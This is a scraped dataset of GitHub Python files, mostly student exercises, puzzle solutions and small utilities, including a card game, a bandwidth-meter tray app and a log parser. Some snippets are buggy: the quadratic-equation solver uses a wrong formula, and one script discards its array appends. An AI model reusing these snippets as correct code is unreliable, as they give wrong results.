self.__normalise(data=self.__testing)\n\n        return training, validating, testing\n","repo_name":"premodelling/infections","sub_path":"src/prototyping/DataNormalisation.py","file_name":"DataNormalisation.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33162930818","text":"# Jakub Opyrchał (266252)\n# Algorytmy i Struktury Danych\n# 27.04.2023 r.\n\nimport random\nimport itertools\nimport time as tm\nfrom collections import deque\n\n\ndef deckShuffle():\n    \"\"\"Tasowanie kart\"\"\"\n    names = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]\n    symbols = ['Pik', 'Kier', 'Karo', 'Trefl']\n\n    deck = list(itertools.product(names, symbols))\n    deck.append((15, 'Czarny'))\n    deck.append((15, 'Czerwony'))\n\n    random.shuffle(deck)\n    return deck\n\n\ndef dealCards():\n    \"\"\"Rozdanie kart\"\"\"\n    deck = deckShuffle()\n    deck1 = deque()\n    deck2 = deque()\n\n    for i in range(1, 27):\n        deck1.append(deck.pop())\n        deck2.append(deck.pop())\n\n    return deck1, deck2\n\n\ndef decode(value):\n    \"\"\"Dekodowanie wartości kart\"\"\"\n    encodeDict = {\n        11: 'Walet',\n        12: 'Dama',\n        13: 'Król',\n        14: 'As',\n        15: 'JOKER'\n    }\n\n    name = encodeDict[value]\n    return name\n\n\ndef announce(P1, P2, war):\n    \"\"\"Status rozgrywki\"\"\"\n\n    if war == 0:\n        print('\\n~~~~~~~~KARTY~~~~~~~~')\n\n    if war == 0:\n        if P1[0] >= 11:\n            name = decode(P1[0])\n            print('{}{}{}{}'.format(\"Karta Gracza 1: \", name, ' ', P1[1]))\n        else:\n            print('{}{}{}{}'.format(\"Karta Gracza 1: \", P1[0], ' ', P1[1]))\n\n    elif war == 1:\n        if P1[0] >= 11:\n            name = decode(P1[0])\n            print('{}{}{}{}'.format(\"   Karta Gracza 1: \", name, ' ', P1[1]))\n        else:\n            print('{}{}{}{}'.format(\"   Karta Gracza 1: \", P1[0], ' ', P1[1]))\n\n    if war == 0:\n        if P2[0] >= 11:\n            name = decode(P2[0])\n            print('{}{}{}{}'.format(\"Karta Gracza 2: \", name, ' ', P2[1]))\n        else:\n            print('{}{}{}{}'.format(\"Karta Gracza 2: \", P2[0], ' ', P2[1]))\n\n    elif war == 1:\n        if P2[0] >= 11:\n            name = decode(P2[0])\n            print('{}{}{}{}'.format(\"   Karta Gracza 2: \", name, ' ', P2[1]))\n        else:\n            print('{}{}{}{}'.format(\"   Karta Gracza 2: \", P2[0], ' ', P2[1]))\n\n\ndef play(timeDelay):\n    \"\"\"Przeprowadzenie gry\"\"\"\n    Player1, Player2 = dealCards()\n    result = 0\n    counter = 0\n\n    while len(Player1) > 0 and len(Player2) > 0:\n        counter += 1\n        result = 0\n        print(f\"\\nWynik: {len(Player1)}:{len(Player2)}\")\n        append = random.randint(0, 1)  # zapewnia losowość kolejności odkładania kart do talii\n\n        P1 = Player1.pop()\n        P2 = Player2.pop()\n        announce(P1, P2, 0)\n        tm.sleep(timeDelay)\n\n        if P1[0] > P2[0]:\n            if append == 1:\n                Player1.appendleft(P1)\n                Player1.appendleft(P2)\n            else:\n                Player1.appendleft(P2)\n                Player1.appendleft(P1)\n\n            print(\"\\nGracz 1 Zabiera Karty!\")\n            tm.sleep(timeDelay)\n\n        elif P1[0] < P2[0]:\n            if append == 1:\n                Player2.appendleft(P1)\n                Player2.appendleft(P2)\n            else:\n                Player2.appendleft(P2)\n                Player2.appendleft(P1)\n            print(\"\\nGracz 2 Zabiera Karty!\")\n            tm.sleep(timeDelay)\n\n        elif P1[0] == P2[0]:\n            print(\"\\n   !!! WOJNA !!!\")\n\n            warDeck1 = []\n            warDeck2 = []\n\n            warDeck1.append(P1)\n            warDeck2.append(P2)\n            tm.sleep(timeDelay)\n\n            topCard1 = 0\n            topCard2 = 0\n\n            while topCard1 == topCard2:\n                if len(Player1) < 2:\n                    result = 2\n                    topCard1 = 0\n                    topCard2 = 1\n\n                elif len(Player2) < 2:\n                    result = 1\n                    topCard2 = 0\n                    topCard1 = 1\n\n                else:\n                    for i in range(2):\n                        warDeck1.append(Player1.pop())\n                        warDeck2.append(Player2.pop())\n\n                    topCard1 = warDeck1.pop()\n                    warDeck1.append(topCard1)\n\n                    topCard2 = warDeck2.pop()\n                    warDeck2.append(topCard2)\n\n                    tm.sleep(timeDelay)\n                    announce(topCard1, topCard2, 1)\n                    tm.sleep(timeDelay)\n\n                    topCard1 = topCard1[0]\n                    topCard2 = topCard2[0]\n\n                if topCard1 > topCard2:\n                    print(\"\\nGracz 1 Zabiera Karty!\")\n                    if append == 1:\n                        for element in warDeck1:\n                            Player1.appendleft(element)\n                        for element in warDeck2:\n                            Player1.appendleft(element)\n                    else:\n                        for element in warDeck2:\n                            Player1.appendleft(element)\n                        for element in warDeck1:\n                            Player1.appendleft(element)\n\n                elif topCard1 < topCard2:\n                    print(\"\\nGracz 2 Zabiera Karty!\")\n                    if append == 1:\n                        for element in warDeck1:\n                            Player2.appendleft(element)\n                        for element in warDeck2:\n                            Player2.appendleft(element)\n                    else:\n                        for element in warDeck2:\n                            Player2.appendleft(element)\n                        for element in warDeck1:\n                            Player2.appendleft(element)\n\n                elif topCard1 == topCard2:\n                    print(\"\\n   WOJNA TRWA...\")\n                    tm.sleep(timeDelay)\n\n    if len(Player1) < 1:\n        result = 2\n    elif len(Player2) < 1:\n        result = 1\n\n    if result == 1:\n        print(\"\\n\\n~~~~WYGRYWA GRACZ 1!~~~~\")\n    elif result == 2:\n        print(\"\\n\\n~~~~WYGRYWA GRACZ 2!~~~~\")\n\n    print(f\"Ilość iteracji: {counter}\")\n\n\nplay(0)  # Argument: czas między komunikatami w sekundach\n","repo_name":"G3BAB/Studia","sub_path":"Programowanie/Gra/wojna.py","file_name":"wojna.py","file_ext":"py","file_size_in_byte":5883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23867140676","text":"import os\nimport glob\n\n__all__ = [\"expand\"]\n\n\ndef files(path):\n    \"\"\" List all files in a directory omitting directories. \"\"\"\n    for file in os.listdir(path):\n        if os.path.isfile(os.path.join(path, file)):\n            yield os.path.join(path, file)\n\n\ndef strider(elements, stride, offset):\n    \"\"\" Yield input elements with given stride and offset. \"\"\"\n    next_element = offset\n\n    # support negative offsets\n    while next_element < 0:\n        next_element += stride\n\n    for i, elem in enumerate(elements):\n        if i == next_element:\n            next_element += stride\n            yield elem\n\n\ndef modulo_expand(expr, stride, offset):\n    \"\"\" Expands a path with a **%d** to files with different numbers. \"\"\"\n    # Support negative offset\n    number = offset\n    while (number < 0):\n        number += stride\n\n    while True:\n        filename = expr % number\n        if not os.path.isfile(filename):\n            break\n        yield filename\n        number += stride\n\n\ndef expand(expr, stride=1, offset=0):\n    \"\"\" Expand a file selection expression into multiple filenames.\n\n    Args:\n        expr (str): File sequence expression\n        stride (int, optional): Sample every n'th file where n is this parameter; Default **1**\n        offset (int, optional): Start with the m'th file where m is this parameter; Default **0**\n\n    Returns:\n        generator: Iterable object that produces full filenames\n\n    Note:\n        The ``expr`` parameter can be one of the following expressions:\n\n        - a file itself -> return filename\n        - a directory -> return files from directory\n        - path with **'*'** wildcard -> return globbed files\n        - path with **'%d'** wildcard -> return incremental files\n    \"\"\"\n    if os.path.isdir(expr):\n        return strider(sorted(files(expr)), stride, offset)\n    elif os.path.isfile(expr):\n        return [expr]\n    elif '*' in expr:\n        return strider(sorted(glob.glob(expr)), stride, offset)\n    elif '%' in expr:\n        return modulo_expand(expr, stride, offset)\n    else:\n        raise TypeError(\"File selection expression invalid\")\n","repo_name":"Tencent/ObjectDetection-OneStageDet","sub_path":"brambox/boxes/util/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":1956,"dataset":"github-code","pt":"16"}
+{"seq_id":"38295297303","text":"from math import factorial\n\nminimo = 3\nmaximo = 1000000\nsum = 0\n\nfor num in range(minimo, maximo):\n    numeros = []\n    soma = 0\n    potencia = 0\n    count = 0\n    valor = num\n    while 10 ** potencia < valor:\n        potencia += 1\n        count += 1\n    for i in range(count):\n        numeros.append(valor // (10 ** (potencia - 1)))\n        valor = valor - (numeros[i] * (10 ** (potencia - 1)))\n        potencia -= 1\n    for j in numeros:\n        soma += factorial(j)\n    if soma == num:\n        sum += num\n\nprint (sum) # 40730","repo_name":"ieee-saocarlos/ia-2019","sub_path":"exercicios-membros/Raul/Lista_4/ex6.py","file_name":"ex6.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"5699835620","text":"class Solution:\n    def validSquare(self, p1: List[int], p2: List[int], p3: List[int], p4: List[int]) -> bool:\n        points = [p1, p2, p3, p4]\n        distances = []\n        \n        for i in range(4):\n            for j in range(i+1, 4):\n                dist = (points[i][1]-points[j][1])**2 + (points[i][0]-points[j][0])**2\n                distances.append(dist)\n        distances.sort()\n        \n        if distances.count(distances[0]) == 4 and distances.count(distances[-1]) == 2 and distances[-1] == 2*distances[0]:\n            return True\n        \n        return False","repo_name":"jayaprakash-a/coding-prepation","sub_path":"leetcode/Problems/593--Valid-Square-Medium.py","file_name":"593--Valid-Square-Medium.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18587824868","text":"# Mostrando se o ano é Bissexto ou não.\n\n# Importando biblioteca\nfrom datetime import date\n\n# Entrando com dados do tipo inteiro para o ano.\nano = int(input('Informa o Ano: '))\n\nif ano == 0:\n    ano = date.today().year\n# Condição para informar se ano é bissexto ou não.\n# Calculo para saber se o resto da divisão é igual a 0 (zero).\nif ano % 4 == 0 and ano % 100 != 0 or ano % 400 == 0:\n    print('{} é Bissexto'.format(ano))\n# Condicional caso não for bissexto.\nelse:\n    print('{} é um ano normal!'.format(ano))\n","repo_name":"190718/iniciando_python","sub_path":"aulas02/aulas03.py","file_name":"aulas03.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23988147729","text":"while True:\n    n = int(input())\n    if 1 <= n <= 100:\n        break\nfor i in range(n):\n    c = 0\n    while True:\n        s = str(input()).split()\n        for x in range(len(s)):\n            if 1 <= int(s[x]) <= 100:\n                c += 1\n        if c == n:\n            break\n        else:\n            c = 0\n","repo_name":"buttura/OBI-Olimpiada-Brasileira-de-Informatica","sub_path":"2018n1l/Pirâmide.py","file_name":"Pirâmide.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5089773406","text":"\"\"\"\n2) Создать текстовый файл (не программно), сохранить в нем несколько строк,\nвыполнить подсчет количества строк, количества слов в каждой строке.\n\"\"\"\n\ncount_str = 0\n\nwith open(\"Task_2.txt\", \"r\", encoding=\"utf-8\") as my_file:\n    for line in my_file:\n        print(line, end='')\n        count_str += 1\n        count_words_in_str = 0\n        line_split = line.split()\n        for word in line_split:\n            count_words_in_str+=1\n        print(f\"Количество слов в строке {count_str}: {count_words_in_str}\")    \n\nprint(f\"\\n Количество строк: = {count_str} \\n\")\n","repo_name":"GushchinaMaria/python_hw8","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2885869756","text":"print(\"Input Board:\")\nboard = [int(input()) for _ in range(6)] + [0] + [int(input())\n                                                  for _ in range(6)]\nprint(board)\n# board = [0, 1, 4, 1, 2, 0, 0, 0, 1, 0, 0, 1, 0]\n\n\nrecord = 0\nrecord_paths = []\nrecord_results = []\ninsta_win = False\nwin_path = []\n\n\ndef simulate(board, path):\n    print(board, path)\n    global record, record_paths, record_results, insta_win, win_path\n    for x in range(6):\n        copy = board.copy()\n        ind = x\n        first_move = True\n        if copy[x] == 0:\n            continue\n\n        path.append(x)\n        while first_move or copy[ind] > 1:\n            first_move = False\n            cur = copy[ind]\n            copy[ind] = 0\n            while cur > 0:\n                ind = (ind + 1) % 13\n                cur = cur - 1\n                copy[ind] = copy[ind] + 1\n            if ind == 6:\n                simulate(copy, path)\n                break\n        # win = True\n        # for i in range(6):\n        #     if copy[i] > 0:\n        #         win = False\n        # if win:\n        #     insta_win = True\n        #     record = copy[6]\n        #     win_path = path.copy()\n        if record < copy[6]:\n            record = copy[6]\n            record_paths = [path.copy()]\n            record_results = [copy.copy()]\n        elif record == copy[6]:\n            record_paths.append(path.copy())\n            record_results.append(copy.copy())\n        path.pop()\n\n\nsimulate(board, [])\nprint(\"Record: \", record)\nfor i in range(len(record_paths)):\n    print(f\"Path {i}\")\n    print(record_paths[i])\n    print(\"Board: \", record_results[i])\n    print(\"\")\n# if insta_win:\n#     print(\"Instant Win: \", win_path)\n","repo_name":"Hafnium780/Hafnium780.github.io","sub_path":"game-pigeon/mancala_old.py","file_name":"mancala_old.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"25219904108","text":"\"\"\"\n01-27 Másodfokú egyenlet\nFeladat leírás:\nKérd be a másodfokú egyenlet három paraméterét, az a, b és c együtthatókat.\nBiztosra vehetjük, hogy egész számokat adnak meg.\nÍrd ki a megoldásokat: ha van két megoldás, akkor azokat, ha csak egy akkor azt és azt is írjuk ki, ha nincs megoldás a valós sz��mok halmazán.\n\"\"\"\nimport math\n\na, b, c = float(input(\"Adj meg egy számot: \")), float(input(\"Adj meg egy számot: \")), float(input(\"Adj meg egy számot: \"))\nanswers = 2\ntry:\n    x1 = (b + math.sqrt(b ** 2 - 4 * a * c)) / 2\nexcept ValueError:\n    x1 = None\n    answers -= 1\ntry:\n    x2 = (b - math.sqrt(b ** 2 - 4 * a * c)) / 2\nexcept ValueError:\n    x2 = None\n    answers -= 1\n\nif answers == 2:\n    megoldasszoveg = f\"Két megoldás:\\nx1 = {round(x1, 3)}\\nx2 = {round(x2, 3)}\"\nelif answers == 1:\n    if x1 is not None:\n        megoldasszoveg = f\"Egy megoldás:\\nx = {round(x1, 3)}\"\n    else:\n        megoldasszoveg = f\"Egy megoldás:\\nx = {round(x2, 3)}\"\nelse:\n    megoldasszoveg = \"Nincsen megoldás a valós számok halmazán.\"\n\nprint(megoldasszoveg)\n","repo_name":"Petint/python-archhives","sub_path":"pataky/python.tanit.hu/01 Alapfeladatok/01-27 Másodfokú egyenlet.py","file_name":"01-27 Másodfokú egyenlet.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3565221280","text":"def solution(inputArray):\n    res = inputArray[0] * inputArray[1]\n    cont = 0\n    lis = []\n    for i in range(len(inputArray)-1):\n        cont = inputArray[i+1] * inputArray[i]\n        lis.append(cont)\n        \n    return max(lis)\n\ndef main():\n    inputArray = [3, 6, -2, -5, 7, 3]\n    print(solution(inputArray))\n\nmain()\n    \n","repo_name":"JuanoYolo/PythonPractices","sub_path":"26 lista.py","file_name":"26 lista.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12958020712","text":"import numpy as np\nx = 0\na = np.array([])\nq = int(input())\n\nfor i in range(q):\n    query = [int(x) for x in input().split()]\n    if len(query) == 2:\n        num = query[1]\n        qu = query[0]\n        if qu == 1:\n            print(num)\n            np.append(a, num)\n        elif qu == 2:\n            a = a + num\n    elif query[0] == 3:\n        print(a.min())\n        index = np.argmin(a)\n        np.delete(a, index)","repo_name":"KoshikawaShinya/atcoder","sub_path":"ABC_208/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5436530359","text":"input_file = __file__.split(\"/\")\ninput_file[-1] = \"input.txt\"\n\nwith open(\"/\".join(input_file)) as f:\n    lines = f.readlines()\n\ndef get_range(str):\n    _min, _max = str.split('-')\n    return int(_min), int(_max)\n\ndef get_ranges(line):\n    first, second = line.split(',')\n    return get_range(first), get_range(second)\n\ndef range_contains_other(first, second):\n    first_min, first_max = first\n    second_min, second_max = second\n\n    return (first_min <= second_min and second_max <= first_max) or \\\n        (second_min <= first_min and first_max <= second_max)\n\ndef range_overlaps_other(first, second):\n    first_min, first_max = first\n    second_min, second_max = second\n\n    return not (first_max < second_min or second_max < first_min)\n \npart_one_count = 0\npart_two_count = 0\n\nfor i in range(len(lines)):\n    line = lines[i].strip()\n    first_range, second_range = get_ranges(line)\n\n    if range_contains_other(first_range, second_range):\n        part_one_count += 1\n        part_two_count += 1\n\n    elif range_overlaps_other(first_range, second_range):\n        part_two_count += 1\n\nprint(f\"Part one: {part_one_count}\")\nprint(f\"Part two: {part_two_count}\")\n","repo_name":"alanag13/adventofcode2022","sub_path":"4_camp_cleanup/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2629198033","text":"#!/usr/bin/env python\n\nimport cfg\n#import bmclient\nfrom db import Database\nfrom time import sleep\nimport wx\nimport wx.adv\nimport sys\nimport os\nimport os.path\nimport gettext\nimport datetime\nfrom datetime import datetime, timedelta\nimport re\nimport traceback\nimport logging\n\nTITLE = \"Bitmeter OS Client\"\nICON = \"icon.ico\"\nAPP_NAME = \"BitmeterOSClient\"\nAPP_VENDOR = \"AWK\"\nAPP_VERSION = \"1.0\"\nAPP_USER_MODEL_ID = \"AWK.BitmeterOSClient\"\n\n_ = gettext.gettext\n\n\nclass TaskBarIcon(wx.adv.TaskBarIcon):\n\n    def __init__(self, frame):\n        self.frame = frame\n        wx.adv.TaskBarIcon.__init__(self)\n        self.iconName = \"\"\n        self.label = \"\"\n        self.SetIcon(ICON, TITLE)\n    \n    def SetIcon(self, iconName, label):\n        if iconName != self.iconName or label != self.label:\n            self.iconName = iconName\n            self.label = label\n            super().SetIcon(wx.Icon(iconName), label)\n\n    def CreatePopupMenu(self):\n        menu = wx.Menu()\n\n        # create menu items that show alert status (icon based on percentage and value in text)\n        try:\n            alerts = db.getSortedAlerts([('amount', False), ('interval', False)])\n            for id, alert in enumerate(alerts):\n                icon = app.getIconFromPercent(alert.percent, theme=config.menu_theme)\n                label = f\"{alert.percent:>3.0f}%   {alert.usage.toString():>10}  - {alert.name}\"\n                self.createMenuItem(menu, label, icon=icon)\n        except Exception as ex:\n            logging.error(f\"{_('Error creating alert menu item')}: {ex}\")\n        \n        # This gives different/inaccurate numbers from the alert usages \n        #menu.AppendSeparator()\n        #self.createMenuItem(menu, f\"{bmclient.getTodayUsage()} - Today\")\n        #self.createMenuItem(menu, f\"{bmclient.getBillingPeriodUsage()} - This Billing\")\n        \n        # create menu items that open URLs to hosts called out in the config file\n        try:\n            menu.AppendSeparator()\n            self.createMenuItemForHost(menu, _('Local (admin)'), \"localhost\")\n            if len(config.hosts) > 0:\n                for key, host in config.hosts.items():\n                    self.createMenuItemForHost(menu, f\"{_('Open')} {host.label}\", host.name, host.port)\n        except Exception as ex:\n            logging.error(f\"{_('Error creating host menu item')}: {ex}\")\n\n        menu.AppendSeparator()\n        self.createMenuItem(menu, _('Exit'), func=app.onExit)\n        return menu\n    \n    def createMenuItem(self, menu, label, icon=None, func=None, itemid=wx.ID_ANY):\n        item = wx.MenuItem(menu, itemid, label)\n        if icon:\n            #img = wx.Image(icon.replace(\".ico\", \".png\"))\n            ico = wx.Icon(icon)\n            bmp = wx.Bitmap(ico.Width, ico.Height)\n            bmp.CopyFromIcon(ico)\n            #bmp = img.ConvertToBitmap()\n            item.SetBitmap(bmp)\n        if func:\n            menu.Bind(wx.EVT_MENU, func, id=item.GetId())\n        menu.Append(item)\n        return item\n\n    def createMenuItemForHost(self, menu, label, host, port=2605):\n        item = self.createMenuItem(menu, label, func=self.onHostClick)\n        item.host = host\n        item.port = port\n        return item\n\n    def onHostClick(self, event):\n        menu = wx.Menu()\n        menu = event.EventObject\n        id = event.GetId()\n        item = menu.FindItemById(id)\n        app.openUrl(f\"http://{item.host}:{item.port}\")\n\n\nclass App(wx.App):\n    def OnInit(self):\n        if not self.isOnlyInstance():\n            return False\n\n        self.frame = wx.Frame(None)\n        self.SetTopWindow(self.frame)\n        self.taskbarIcon = TaskBarIcon(self.frame)\n\n        # set up timer for periodic update\n        self.timer = wx.Timer(self)\n        self.timer.Start(1000)\n        self.Bind(wx.EVT_TIMER, self.onTimerTick)\n\n        return True\n\n    def isOnlyInstance(self):\n        \"\"\" \n        Ensure we are the only instance or quit.\n        Multiples of the same icon on the taskbar would be confusing .\n        \"\"\"\n        self.name = f\"{self.AppName}.{wx.GetUserId()}\"\n        self.instance = wx.SingleInstanceChecker(self.name)\n        if self.instance.IsAnotherRunning():\n            return False\n        return True\n\n    def onExit(self, event):\n        self.taskbarIcon.RemoveIcon()\n        self.taskbarIcon.Destroy()\n        self.frame.Close()\n        self.Destroy()\n\n    def onTimerTick(self, event):\n        \"\"\" Update all alerts \"\"\"    \n        db.getAlerts()\n        (alert, percent, usage) = db.getHighestAlertPercent()\n        icon = app.getIconFromPercent(percent, theme=config.taskbar_theme)\n        label = f\"{percent:>3.0f}%   {usage.toString():>10}  - {alert.name}\"\n        app.taskbarIcon.SetIcon(icon, label)\n        delta = datetime.now() - timedelta(days=1)\n        ts = int(delta.timestamp())\n        if percent >= config.warning_threshold_percent and alert.lastNotified < ts:\n            self.notify(_('Usage Warning'), label, 0)\n            ts = int(datetime.now().timestamp())\n            alert.lastNotified = ts\n            assert(alert.lastNotified > 0)\n\n    def getIconFromPercent(self, percent, theme):\n        # round to nearest 10 and pad to 3 digits\n        nearest10 = int(round(percent, -1)) if percent <= 100 else 100\n        padded = f\"{nearest10:0>3}\"\n        icon = f\"status-{padded}\"\n        icon = f\"icons{os.sep}{theme}{os.sep}{icon}.ico\"\n        return icon\n\n    def openUrl(self, url):\n        if sys.platform == 'win32':\n            os.system(f\"start \\\"\\\" {url}\")\n        else:\n            print(_('Failed to open url'))\n\n    def notify(self, title, msg, duration=5):\n        #self.taskbarIcon.ShowBalloon(title, msg, duration)\n        notify = wx.adv.NotificationMessage(title, msg,\n            parent=None, flags=wx.ICON_INFORMATION)\n        notify.UseTaskBarIcon(self.taskbarIcon)\n        if sys.platform == 'win32':\n            startPath = os.path.expandvars(\"%AppData%\\Microsoft\\Windows\\Start Menu\\Programs\")\n            shortcutPath = startPath + \"\\BitMeter OS Client\\BitMeter OS Client.lnk\"\n            success = notify.MSWUseToasts(shortcutPath=shortcutPath, appId=APP_USER_MODEL_ID)\n        notify.Show(timeout=duration)\n\nif __name__ == '__main__':\n    try:\n        logging.basicConfig(filename=\"bitmeter.log\", level=logging.DEBUG)\n        cfg.app = App(redirect=False)\n        app = cfg.app\n        config = cfg.config\n        cfg.db = Database()\n        db = cfg.db\n        wx.App.SetAppName(app, APP_NAME)\n        wx.App.SetVendorName(app, APP_VENDOR)\n        app.MainLoop()\n    except Exception:\n        logging.error(traceback.print_exc())\n","repo_name":"drewkeller/BitMeterOS-Client","sub_path":"bitmeter.py","file_name":"bitmeter.py","file_ext":"py","file_size_in_byte":6580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22732635860","text":"import json\n\nfrom typing import AnyStr, Dict, List, Optional, Text\n\nfrom viya_ark_library.structured_logging.spec import SASStructuredLoggingSpec\n\n\nclass SASStructuredLoggingParser(object):\n    \"\"\"\n    Class providing methods for parsing SAS structured logging.\n    \"\"\"\n\n    @staticmethod\n    def parse_log(log: List[AnyStr]) -> List[Text]:\n        \"\"\"\n        Parses a log file (given as a list of entries) and returns a traditionally formatted list of log entries for\n        better human-readability. Any entries in the provided log that cannot be decoded from a structured log format\n        will be returned as-is.\n\n        :param log: List of log entries to parse\n        :return: List of traditionally formatted log entries\n        \"\"\"\n        # create a list to hold the unstructured log entries\n        unstructured_log: List[Text] = list()\n\n        # iterate over each entry in the provided log\n        for log_entry in log:\n            # add the unstructured entry to the list\n            unstructured_log.append(SASStructuredLoggingParser.parse_log_entry(log_entry))\n\n        # return the unstructured log\n        return unstructured_log\n\n    @staticmethod\n    def parse_log_entry(log_entry: AnyStr) -> Text:\n        \"\"\"\n        Parses a single entry in a log and returns a traditionally formatted logging entry for better\n        human-readability. If the entry cannot be decoded from a structured log format, it is returned as-is.\n\n        :param log_entry: Logging entry to parse.\n        :return: Traditionally formatted, human-readable logging entry, or the entry as-is if it cannot be decoded from\n                 a structured logging format.\n        \"\"\"\n        # try to decode the entry from JSON\n        try:\n            structured_log_entry: Optional[Dict] = json.loads(log_entry)\n        except json.JSONDecodeError:\n            # if the entry couldn't be decoded from JSON, return as-is\n            # in the future, if more logging structures are added, this could be updated to check for more formats\n            return log_entry\n\n        # make sure the decoded entry is a dictionary\n        if not isinstance(structured_log_entry, dict):\n            # this is not a dictionary, as expected\n            # return the entry as-is\n            return log_entry\n\n        # validate that the structured entry conforms to the spec\n        for required_key in SASStructuredLoggingSpec.get_required_keys():\n            if required_key not in structured_log_entry:\n                # if a required key is missing, the entry can't be parsed as expected\n                # return the entry as-is\n                return log_entry\n\n        # create an empty string to build the unstructured entry\n        unstructured_entry_str: Text = \"\"\n\n        # the timeStamp is required in the spec and was checked above, add it as the first column\n        # this column width is variable and the content is left-justified\n        time_stamp = structured_log_entry.get(SASStructuredLoggingSpec.TIME_STAMP)\n\n        # determine the width of the column\n        if len(time_stamp) < 25:\n            col_width = 26\n        else:\n            col_width = 34\n\n        # add the column with the determined width\n        unstructured_entry_str += f\"{time_stamp:<{col_width}}\"\n\n        # the level is required in the spec and was checked above, add it as the second column\n        # this column is 6 chars wide and is left-justified\n        unstructured_entry_str += f\"{structured_log_entry.get(SASStructuredLoggingSpec.LEVEL).upper():<6}\"\n\n        # the source is required in the spec and was checked above, get the value\n        source = structured_log_entry.get(SASStructuredLoggingSpec.SOURCE)\n\n        # make sure the source isn't too long\n        if len(source) > 20:\n            source = f\"...{source[-17:]}\"\n\n        # add source as the third column\n        # this column is variable width with an effective max of 32 chars and is right-justified\n        # a visual break is added after the source\n        unstructured_entry_str += f\"[{source:>20}] --- \"\n\n        # get any properties\n        properties: Optional[Dict] = structured_log_entry.get(SASStructuredLoggingSpec.PROPERTIES)\n\n        # check for some commonly used properties to display, if properties are defined\n        if properties:\n            # check for the origin of the process being logged\n            # for Java apps, this will be the thread property; for Go apps, this will be the caller property\n            # check if a thread is defined\n            thread: Text = properties.get(SASStructuredLoggingSpec.PROPERTY_THREAD)\n\n            # if a thread is defined, process it\n            if thread:\n                # make sure the thread name isn't too long\n                if len(thread) > 15:\n                    thread = f\"...{thread[-12:]}\"\n\n                # add the thread with a column width of 15 chars and right-justification\n                unstructured_entry_str += f\"[{thread:>15}]\"\n\n                # check for a logger property\n                logger: Text = properties.get(SASStructuredLoggingSpec.PROPERTY_LOGGER)\n\n                # process the logger value if it exists and the provided line isn't from a Go app where logger\n                # information isn't as useful as the caller value\n                if logger:\n                    # if a logger is defined, truncate the value if longer than 30 chars to keep columns aligned\n                    if len(logger) > 30:\n                        logger = f\"...{logger[-27:]}\"\n\n                    # add the logger as the fourth or fifth column\n                    # the column is 31 chars wide (including trailing whitespace) and is right-justified\n                    unstructured_entry_str += f\" {logger:>30}\"\n            else:\n                # check for caller property for GO apps\n                caller: Text = properties.get(SASStructuredLoggingSpec.PROPERTY_CALLER)\n\n                # if a caller is defined, process it\n                if caller:\n                    # make sure the caller value isn't too long\n                    if len(caller) > 30:\n                        caller = f\"...{caller[-27:]}\"\n\n                    # add the caller with a column width of 30 chars and right-justification\n                    unstructured_entry_str += f\"[{caller:>30}]\"\n\n        # the message is required in the spec and was checked above, add it as the final column\n        # the column length is undefined and it is left-justified\n        unstructured_entry_str += f\" : {structured_log_entry.get(SASStructuredLoggingSpec.MESSAGE)}\"\n\n        # return the unstructured entry\n        return unstructured_entry_str\n","repo_name":"sassoftware/viya4-ark","sub_path":"viya_ark_library/structured_logging/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6649,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"16"}
+{"seq_id":"23915649539","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        if(head == None):\n            return None\n    \n        shiv = None\n        \n        while(head is not None):\n            aru = head.next\n            head.next = shiv\n            shiv = head\n            head = aru\n            \n        return shiv\n            ","repo_name":"Arunesh-Tiwari/college-practice","sub_path":"Day 05/0206-reverse-linked-list/0206-reverse-linked-list.py","file_name":"0206-reverse-linked-list.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
